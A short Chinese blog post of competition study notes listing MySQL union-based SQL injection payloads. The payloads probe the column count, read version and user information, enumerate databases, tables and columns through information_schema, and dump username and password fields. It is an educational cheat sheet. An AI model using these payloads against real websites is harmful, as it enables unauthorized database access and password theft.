中职网安 SQL+MYSQL注入笔记

Beluga

于 2021-10-24 13:57:52 发布

阅读量1.6k

点赞数 2

分类专栏：中职网络空间安全赛题文章标签：网络安全

本文链接：https://blog.csdn.net/qq_48609816/article/details/120933364

版权

中职网络空间安全赛题专栏收录该内容

70 篇文章 92 订阅

订阅专栏

四、SQL+MYSQL注入
暴字段长度
Order by num/*
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
利用内置函数暴数据库信息
version() database() user()
暴库 (mysql>5.0) Mysql 5 以上有内置库 information_schema，存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库（十六进制） limit 0（开始的记录，0为第一个开始记录）,1（显示1条记录）—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名（十六进制）limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1